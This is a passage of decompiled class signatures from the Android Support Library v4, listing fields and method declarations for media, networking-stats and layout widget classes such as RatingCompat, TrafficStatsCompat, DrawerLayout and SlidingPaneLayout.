    public static long getLong(Object, String);
    public static Object getRating(Object, String);
    public static CharSequence getText(Object, String);
}










android/support/v4/media/TransportMediatorJellybeanMR2$4.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$4 implements android.media.AudioManager$OnAudioFocusChangeListener {
    void TransportMediatorJellybeanMR2$4(TransportMediatorJellybeanMR2);
    public void onAudioFocusChange(int);
}










android/support/v4/media/RatingCompat.class


package android.support.v4.media;
public final synchronized class RatingCompat implements android.os.Parcelable {
    private static final String TAG = Rating;
    public static final int RATING_NONE = 0;
    public static final int RATING_HEART = 1;
    public static final int RATING_THUMB_UP_DOWN = 2;
    public static final int RATING_3_STARS = 3;
    public static final int RATING_4_STARS = 4;
    public static final int RATING_5_STARS = 5;
    public static final int RATING_PERCENTAGE = 6;
    private static final float RATING_NOT_RATED = -1.0;
    private final int mRatingStyle;
    private final float mRatingValue;
    private Object mRatingObj;
    public static final android.os.Parcelable$Creator CREATOR;
    private void RatingCompat(int, float);
    public String toString();
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    public static RatingCompat newUnratedRating(int);
    public static RatingCompat newHeartRating(boolean);
    public static RatingCompat newThumbRating(boolean);
    public static RatingCompat newStarRating(int, float);
    public static RatingCompat newPercentageRating(float);
    public boolean isRated();
    public int getRatingStyle();
    public boolean hasHeart();
    public boolean isThumbUp();
    public float getStarRating();
    public float getPercentRating();
    public static RatingCompat fromRating(Object);
    public Object getRating();
    static void <clinit>();
}










android/support/v4/media/VolumeProviderCompatApi21.class


package android.support.v4.media;
synchronized class VolumeProviderCompatApi21 {
    void VolumeProviderCompatApi21();
    public static Object createVolumeProvider(int, int, int, VolumeProviderCompatApi21$Delegate);
    public static void setCurrentVolume(Object, int);
}










android/support/v4/media/VolumeProviderCompat.class


package android.support.v4.media;
public abstract synchronized class VolumeProviderCompat {
    public static final int VOLUME_CONTROL_FIXED = 0;
    public static final int VOLUME_CONTROL_RELATIVE = 1;
    public static final int VOLUME_CONTROL_ABSOLUTE = 2;
    private final int mControlType;
    private final int mMaxVolume;
    private int mCurrentVolume;
    private VolumeProviderCompat$Callback mCallback;
    private Object mVolumeProviderObj;
    public void VolumeProviderCompat(int, int, int);
    public final int getCurrentVolume();
    public final int getVolumeControl();
    public final int getMaxVolume();
    public final void setCurrentVolume(int);
    public void onSetVolumeTo(int);
    public void onAdjustVolume(int);
    public void setCallback(VolumeProviderCompat$Callback);
    public Object getVolumeProvider();
}










android/support/v4/net/TrafficStatsCompatIcs.class


package android.support.v4.net;
synchronized class TrafficStatsCompatIcs {
    void TrafficStatsCompatIcs();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompat$TrafficStatsCompatImpl.class


package android.support.v4.net;
abstract interface TrafficStatsCompat$TrafficStatsCompatImpl {
    public abstract void clearThreadStatsTag();
    public abstract int getThreadStatsTag();
    public abstract void incrementOperationCount(int);
    public abstract void incrementOperationCount(int, int);
    public abstract void setThreadStatsTag(int);
    public abstract void tagSocket(java.net.Socket) throws java.net.SocketException;
    public abstract void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompatGingerbread.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatGingerbread {
    void ConnectivityManagerCompatGingerbread();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompatJellyBean.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatJellyBean {
    void ConnectivityManagerCompatJellyBean();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat.class


package android.support.v4.net;
public synchronized class ConnectivityManagerCompat {
    private static final ConnectivityManagerCompat$ConnectivityManagerCompatImpl IMPL;
    public void ConnectivityManagerCompat();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
    public static android.net.NetworkInfo getNetworkInfoFromBroadcast(android.net.ConnectivityManager, android.content.Intent);
    static void <clinit>();
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$1 extends ThreadLocal {
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl$1(TrafficStatsCompat$BaseTrafficStatsCompatImpl);
    protected TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags initialValue();
}










android/support/v4/net/TrafficStatsCompat$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$1 {
}










android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatHoneycombMR2 {
    void ConnectivityManagerCompatHoneycombMR2();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    private ThreadLocal mThreadSocketTags;
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket);
    public void untagSocket(java.net.Socket);
}










android/support/v4/net/ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags {
    public int statsTag;
    private void TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags();
}










android/support/v4/net/TrafficStatsCompat$IcsTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$IcsTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    void TrafficStatsCompat$IcsTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket) throws java.net.SocketException;
    public void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$ConnectivityManagerCompatImpl.class


package android.support.v4.net;
abstract interface ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    public abstract boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat.class


package android.support.v4.net;
public synchronized class TrafficStatsCompat {
    private static final TrafficStatsCompat$TrafficStatsCompatImpl IMPL;
    public void TrafficStatsCompat();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
    static void <clinit>();
}










android/support/v4/net/ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/widget/SwipeRefreshLayout$3.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$3 extends android.view.animation.Animation {
    void SwipeRefreshLayout$3(SwipeRefreshLayout);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatIcsImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatIcsImpl extends SearchViewCompat$SearchViewCompatHoneycombImpl {
    void SearchViewCompat$SearchViewCompatIcsImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
}










android/support/v4/widget/ViewDragHelper.class


package android.support.v4.widget;
public synchronized class ViewDragHelper {
    private static final String TAG = ViewDragHelper;
    public static final int INVALID_POINTER = -1;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int EDGE_LEFT = 1;
    public static final int EDGE_RIGHT = 2;
    public static final int EDGE_TOP = 4;
    public static final int EDGE_BOTTOM = 8;
    public static final int EDGE_ALL = 15;
    public static final int DIRECTION_HORIZONTAL = 1;
    public static final int DIRECTION_VERTICAL = 2;
    public static final int DIRECTION_ALL = 3;
    private static final int EDGE_SIZE = 20;
    private static final int BASE_SETTLE_DURATION = 256;
    private static final int MAX_SETTLE_DURATION = 600;
    private int mDragState;
    private int mTouchSlop;
    private int mActivePointerId;
    private float[] mInitialMotionX;
    private float[] mInitialMotionY;
    private float[] mLastMotionX;
    private float[] mLastMotionY;
    private int[] mInitialEdgesTouched;
    private int[] mEdgeDragsInProgress;
    private int[] mEdgeDragsLocked;
    private int mPointersDown;
    private android.view.VelocityTracker mVelocityTracker;
    private float mMaxVelocity;
    private float mMinVelocity;
    private int mEdgeSize;
    private int mTrackingEdges;
    private ScrollerCompat mScroller;
    private final ViewDragHelper$Callback mCallback;
    private android.view.View mCapturedView;
    private boolean mReleaseInProgress;
    private final android.view.ViewGroup mParentView;
    private static final android.view.animation.Interpolator sInterpolator;
    private final Runnable mSetIdleRunnable;
    public static ViewDragHelper create(android.view.ViewGroup, ViewDragHelper$Callback);
    public static ViewDragHelper create(android.view.ViewGroup, float, ViewDragHelper$Callback);
    private void ViewDragHelper(android.content.Context, android.view.ViewGroup, ViewDragHelper$Callback);
    public void setMinVelocity(float);
    public float getMinVelocity();
    public int getViewDragState();
    public void setEdgeTrackingEnabled(int);
    public int getEdgeSize();
    public void captureChildView(android.view.View, int);
    public android.view.View getCapturedView();
    public int getActivePointerId();
    public int getTouchSlop();
    public void cancel();
    public void abort();
    public boolean smoothSlideViewTo(android.view.View, int, int);
    public boolean settleCapturedViewAt(int, int);
    private boolean forceSettleCapturedViewAt(int, int, int, int);
    private int computeSettleDuration(android.view.View, int, int, int, int);
    private int computeAxisDuration(int, int, int);
    private int clampMag(int, int, int);
    private float clampMag(float, float, float);
    private float distanceInfluenceForSnapDuration(float);
    public void flingCapturedView(int, int, int, int);
    public boolean continueSettling(boolean);
    private void dispatchViewReleased(float, float);
    private void clearMotionHistory();
    private void clearMotionHistory(int);
    private void ensureMotionHistorySizeForId(int);
    private void saveInitialMotion(float, float, int);
    private void saveLastMotion(android.view.MotionEvent);
    public boolean isPointerDown(int);
    void setDragState(int);
    boolean tryCaptureViewForDrag(android.view.View, int);
    protected boolean canScroll(android.view.View, boolean, int, int, int, int);
    public boolean shouldInterceptTouchEvent(android.view.MotionEvent);
    public void processTouchEvent(android.view.MotionEvent);
    private void reportNewEdgeDrags(float, float, int);
    private boolean checkNewEdgeDrag(float, float, int, int);
    private boolean checkTouchSlop(android.view.View, float, float);
    public boolean checkTouchSlop(int);
    public boolean checkTouchSlop(int, int);
    public boolean isEdgeTouched(int);
    public boolean isEdgeTouched(int, int);
    private void releaseViewForPointerUp();
    private void dragTo(int, int, int, int);
    public boolean isCapturedViewUnder(int, int);
    public boolean isViewUnder(android.view.View, int, int);
    public android.view.View findTopChildUnder(int, int);
    private int getEdgesTouched(int, int);
    static void <clinit>();
}










android/support/v4/widget/AutoScrollHelper$ScrollAnimationRunnable.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$ScrollAnimationRunnable implements Runnable {
    private void AutoScrollHelper$ScrollAnimationRunnable(AutoScrollHelper);
    public void run();
}










android/support/v4/widget/SwipeRefreshLayout$2.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$2 extends android.view.animation.Animation {
    void SwipeRefreshLayout$2(SwipeRefreshLayout);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/DrawerLayout.class


package android.support.v4.widget;
public synchronized class DrawerLayout extends android.view.ViewGroup implements DrawerLayoutImpl {
    private static final String TAG = DrawerLayout;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int LOCK_MODE_UNLOCKED = 0;
    public static final int LOCK_MODE_LOCKED_CLOSED = 1;
    public static final int LOCK_MODE_LOCKED_OPEN = 2;
    private static final int MIN_DRAWER_MARGIN = 64;
    private static final int DEFAULT_SCRIM_COLOR = -1728053248;
    private static final int PEEK_DELAY = 160;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final boolean ALLOW_EDGE_LOCK = 0;
    private static final boolean CHILDREN_DISALLOW_INTERCEPT = 1;
    private static final float TOUCH_SLOP_SENSITIVITY = 1.0;
    private static final int[] LAYOUT_ATTRS;
    private static final boolean CAN_HIDE_DESCENDANTS;
    private final DrawerLayout$ChildAccessibilityDelegate mChildAccessibilityDelegate;
    private int mMinDrawerMargin;
    private int mScrimColor;
    private float mScrimOpacity;
    private android.graphics.Paint mScrimPaint;
    private final ViewDragHelper mLeftDragger;
    private final ViewDragHelper mRightDragger;
    private final DrawerLayout$ViewDragCallback mLeftCallback;
    private final DrawerLayout$ViewDragCallback mRightCallback;
    private int mDrawerState;
    private boolean mInLayout;
    private boolean mFirstLayout;
    private int mLockModeLeft;
    private int mLockModeRight;
    private boolean mDisallowInterceptRequested;
    private boolean mChildrenCanceledTouch;
    private DrawerLayout$DrawerListener mListener;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private android.graphics.drawable.Drawable mShadowLeft;
    private android.graphics.drawable.Drawable mShadowRight;
    private android.graphics.drawable.Drawable mStatusBarBackground;
    private CharSequence mTitleLeft;
    private CharSequence mTitleRight;
    private Object mLastInsets;
    private boolean mDrawStatusBarBackground;
    static final DrawerLayout$DrawerLayoutCompatImpl IMPL;
    public void DrawerLayout(android.content.Context);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet, int);
    public void setChildInsets(Object, boolean);
    public void setDrawerShadow(android.graphics.drawable.Drawable, int);
    public void setDrawerShadow(int, int);
    public void setScrimColor(int);
    public void setDrawerListener(DrawerLayout$DrawerListener);
    public void setDrawerLockMode(int);
    public void setDrawerLockMode(int, int);
    public void setDrawerLockMode(int, android.view.View);
    public int getDrawerLockMode(int);
    public int getDrawerLockMode(android.view.View);
    public void setDrawerTitle(int, CharSequence);
    public CharSequence getDrawerTitle(int);
    void updateDrawerState(int, int, android.view.View);
    void dispatchOnDrawerClosed(android.view.View);
    void dispatchOnDrawerOpened(android.view.View);
    private void updateChildrenImportantForAccessibility(android.view.View, boolean);
    void dispatchOnDrawerSlide(android.view.View, float);
    void setDrawerViewOffset(android.view.View, float);
    float getDrawerViewOffset(android.view.View);
    int getDrawerViewAbsoluteGravity(android.view.View);
    boolean checkDrawerViewAbsoluteGravity(android.view.View, int);
    android.view.View findOpenDrawer();
    void moveDrawerToOffset(android.view.View, float);
    android.view.View findDrawerWithGravity(int);
    static String gravityToString(int);
    protected void onDetachedFromWindow();
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void requestLayout();
    public void computeScroll();
    private static boolean hasOpaqueBackground(android.view.View);
    public void setStatusBarBackground(android.graphics.drawable.Drawable);
    public void setStatusBarBackground(int);
    public void setStatusBarBackgroundColor(int);
    public void onDraw(android.graphics.Canvas);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    boolean isContentView(android.view.View);
    boolean isDrawerView(android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    public void requestDisallowInterceptTouchEvent(boolean);
    public void closeDrawers();
    void closeDrawers(boolean);
    public void openDrawer(android.view.View);
    public void openDrawer(int);
    public void closeDrawer(android.view.View);
    public void closeDrawer(int);
    public boolean isDrawerOpen(android.view.View);
    public boolean isDrawerOpen(int);
    public boolean isDrawerVisible(android.view.View);
    public boolean isDrawerVisible(int);
    private boolean hasPeekingDrawer();
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    private boolean hasVisibleDrawer();
    private android.view.View findVisibleDrawer();
    void cancelChildViewTouch();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public boolean onKeyUp(int, android.view.KeyEvent);
    protected void onRestoreInstanceState(android.os.Parcelable);
    protected android.os.Parcelable onSaveInstanceState();
    public void addView(android.view.View, int, android.view.ViewGroup$LayoutParams);
    private static boolean includeChildForAccessibility(android.view.View);
    static void <clinit>();
}










android/support/v4/widget/ContentLoadingProgressBar$2.class


package android.support.v4.widget;
synchronized class ContentLoadingProgressBar$2 implements Runnable {
    void ContentLoadingProgressBar$2(ContentLoadingProgressBar);
    public void run();
}










android/support/v4/widget/MaterialProgressDrawable$ProgressDrawableSize.class


package android.support.v4.widget;
public abstract interface MaterialProgressDrawable$ProgressDrawableSize extends annotation.Annotation {
}










android/support/v4/widget/DrawerLayout$DrawerLayoutCompatImplApi21.class


package android.support.v4.widget;
synchronized class DrawerLayout$DrawerLayoutCompatImplApi21 implements DrawerLayout$DrawerLayoutCompatImpl {
    void DrawerLayout$DrawerLayoutCompatImplApi21();
    public void configureApplyInsets(android.view.View);
    public void dispatchChildInsets(android.view.View, Object, int);
    public void applyMarginInsets(android.view.ViewGroup$MarginLayoutParams, Object, int);
    public int getTopInset(Object);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatImpl.class


package android.support.v4.widget;
abstract interface SearchViewCompat$SearchViewCompatImpl {
    public abstract android.view.View newSearchView(android.content.Context);
    public abstract void setSearchableInfo(android.view.View, android.content.ComponentName);
    public abstract void setImeOptions(android.view.View, int);
    public abstract void setInputType(android.view.View, int);
    public abstract Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public abstract void setOnQueryTextListener(Object, Object);
    public abstract Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public abstract void setOnCloseListener(Object, Object);
    public abstract CharSequence getQuery(android.view.View);
    public abstract void setQuery(android.view.View, CharSequence, boolean);
    public abstract void setQueryHint(android.view.View, CharSequence);
    public abstract void setIconified(android.view.View, boolean);
    public abstract boolean isIconified(android.view.View);
    public abstract void setSubmitButtonEnabled(android.view.View, boolean);
    public abstract boolean isSubmitButtonEnabled(android.view.View);
    public abstract void setQueryRefinementEnabled(android.view.View, boolean);
    public abstract boolean isQueryRefinementEnabled(android.view.View);
    public abstract void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/CursorFilter$CursorFilterClient.class


package android.support.v4.widget;
abstract interface CursorFilter$CursorFilterClient {
    public abstract CharSequence convertToString(android.database.Cursor);
    public abstract android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public abstract android.database.Cursor getCursor();
    public abstract void changeCursor(android.database.Cursor);
}










android/support/v4/widget/DrawerLayout$SavedState.class


package android.support.v4.widget;
public synchronized class DrawerLayout$SavedState extends android.view.View$BaseSavedState {
    int openDrawerGravity;
    int lockModeLeft;
    int lockModeRight;
    public static final android.os.Parcelable$Creator CREATOR;
    public void DrawerLayout$SavedState(android.os.Parcel);
    public void DrawerLayout$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$LockMode.class


package android.support.v4.widget;
abstract interface DrawerLayout$LockMode extends annotation.Annotation {
}










android/support/v4/widget/PopupMenuCompat.class


package android.support.v4.widget;
public synchronized class PopupMenuCompat {
    static final PopupMenuCompat$PopupMenuImpl IMPL;
    private void PopupMenuCompat();
    public static android.view.View$OnTouchListener getDragToOpenListener(Object);
    static void <clinit>();
}










android/support/v4/widget/SwipeProgressBar.class


package android.support.v4.widget;
final synchronized class SwipeProgressBar {
    private static final int COLOR1 = -1291845632;
    private static final int COLOR2 = -2147483648;
    private static final int COLOR3 = 1291845632;
    private static final int COLOR4 = 436207616;
    private static final int ANIMATION_DURATION_MS = 2000;
    private static final int FINISH_ANIMATION_DURATION_MS = 1000;
    private static final android.view.animation.Interpolator INTERPOLATOR;
    private final android.graphics.Paint mPaint;
    private final android.graphics.RectF mClipRect;
    private float mTriggerPercentage;
    private long mStartTime;
    private long mFinishTime;
    private boolean mRunning;
    private int mColor1;
    private int mColor2;
    private int mColor3;
    private int mColor4;
    private android.view.View mParent;
    private android.graphics.Rect mBounds;
    public void SwipeProgressBar(android.view.View);
    void setColorScheme(int, int, int, int);
    void setTriggerPercentage(float);
    void start();
    void stop();
    boolean isRunning();
    void draw(android.graphics.Canvas);
    private void drawTrigger(android.graphics.Canvas, int, int);
    private void drawCircle(android.graphics.Canvas, float, float, int, float);
    void setBounds(int, int, int, int);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat$OnQueryTextListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnQueryTextListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnQueryTextListenerCompat();
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompat.class


package android.support.v4.widget;
public synchronized class SearchViewCompat {
    private static final SearchViewCompat$SearchViewCompatImpl IMPL;
    private void SearchViewCompat(android.content.Context);
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
    public static void setOnQueryTextListener(android.view.View, SearchViewCompat$OnQueryTextListenerCompat);
    public static void setOnCloseListener(android.view.View, SearchViewCompat$OnCloseListenerCompat);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
    static void <clinit>();
}










android/support/v4/widget/AutoScrollHelper$ClampedScroller.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$ClampedScroller {
    private int mRampUpDuration;
    private int mRampDownDuration;
    private float mTargetVelocityX;
    private float mTargetVelocityY;
    private long mStartTime;
    private long mDeltaTime;
    private int mDeltaX;
    private int mDeltaY;
    private long mStopTime;
    private float mStopValue;
    private int mEffectiveRampDown;
    public void AutoScrollHelper$ClampedScroller();
    public void setRampUpDuration(int);
    public void setRampDownDuration(int);
    public void start();
    public void requestStop();
    public boolean isFinished();
    private float getValueAt(long);
    private float interpolateValue(float);
    public void computeScrollDelta();
    public void setTargetVelocity(float, float);
    public int getHorizontalDirection();
    public int getVerticalDirection();
    public int getDeltaX();
    public int getDeltaY();
}










android/support/v4/widget/MaterialProgressDrawable$StartCurveInterpolator.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$StartCurveInterpolator extends android.view.animation.AccelerateDecelerateInterpolator {
    private void MaterialProgressDrawable$StartCurveInterpolator();
    public float getInterpolation(float);
}










android/support/v4/widget/ListPopupWindowCompat$ListPopupWindowImpl.class


package android.support.v4.widget;
abstract interface ListPopupWindowCompat$ListPopupWindowImpl {
    public abstract android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplBase.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplBase implements SlidingPaneLayout$SlidingPanelLayoutImpl {
    void SlidingPaneLayout$SlidingPanelLayoutImplBase();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/SlidingPaneLayout.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout extends android.view.ViewGroup {
    private static final String TAG = SlidingPaneLayout;
    private static final int DEFAULT_OVERHANG_SIZE = 32;
    private static final int DEFAULT_FADE_COLOR = -858993460;
    private int mSliderFadeColor;
    private static final int MIN_FLING_VELOCITY = 400;
    private int mCoveredFadeColor;
    private android.graphics.drawable.Drawable mShadowDrawableLeft;
    private android.graphics.drawable.Drawable mShadowDrawableRight;
    private final int mOverhangSize;
    private boolean mCanSlide;
    private android.view.View mSlideableView;
    private float mSlideOffset;
    private float mParallaxOffset;
    private int mSlideRange;
    private boolean mIsUnableToDrag;
    private int mParallaxBy;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private SlidingPaneLayout$PanelSlideListener mPanelSlideListener;
    private final ViewDragHelper mDragHelper;
    private boolean mPreservedOpenState;
    private boolean mFirstLayout;
    private final android.graphics.Rect mTmpRect;
    private final java.util.ArrayList mPostedRunnables;
    static final SlidingPaneLayout$SlidingPanelLayoutImpl IMPL;
    public void SlidingPaneLayout(android.content.Context);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet, int);
    public void setParallaxDistance(int);
    public int getParallaxDistance();
    public void setSliderFadeColor(int);
    public int getSliderFadeColor();
    public void setCoveredFadeColor(int);
    public int getCoveredFadeColor();
    public void setPanelSlideListener(SlidingPaneLayout$PanelSlideListener);
    void dispatchOnPanelSlide(android.view.View);
    void dispatchOnPanelOpened(android.view.View);
    void dispatchOnPanelClosed(android.view.View);
    void updateObscuredViewsVisibility(android.view.View);
    void setAllChildrenVisible();
    private static boolean viewIsOpaque(android.view.View);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    protected void onSizeChanged(int, int, int, int);
    public void requestChildFocus(android.view.View, android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private boolean closePane(android.view.View, int);
    private boolean openPane(android.view.View, int);
    public void smoothSlideOpen();
    public boolean openPane();
    public void smoothSlideClosed();
    public boolean closePane();
    public boolean isOpen();
    public boolean canSlide();
    public boolean isSlideable();
    private void onPanelDragged(int);
    private void dimChildView(android.view.View, float, int);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    private void invalidateChildRegion(android.view.View);
    boolean smoothSlideTo(float, int);
    public void computeScroll();
    public void setShadowDrawable(android.graphics.drawable.Drawable);
    public void setShadowDrawableLeft(android.graphics.drawable.Drawable);
    public void setShadowDrawableRight(android.graphics.drawable.Drawable);
    public void setShadowResource(int);
    public void setShadowResourceLeft(int);
    public void setShadowResourceRight(int);
    public void draw(android.graphics.Canvas);
    private void parallaxOtherViews(float);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    boolean isDimmed(android.view.View);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    private boolean isLayoutRtlSupport();
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompatHoneycomb$1.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$1 implements android.widget.SearchView$OnQueryTextListener {
    void SearchViewCompatHoneycomb$1(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/DrawerLayout$ViewDragCallback.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback extends ViewDragHelper$Callback {
    private final int mAbsGravity;
    private ViewDragHelper mDragger;
    private final Runnable mPeekRunnable;
    public void DrawerLayout$ViewDragCallback(DrawerLayout, int);
    public void setDragger(ViewDragHelper);
    public void removeCallbacks();
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    private void closeOtherDrawer();
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    private void peekDrawer();
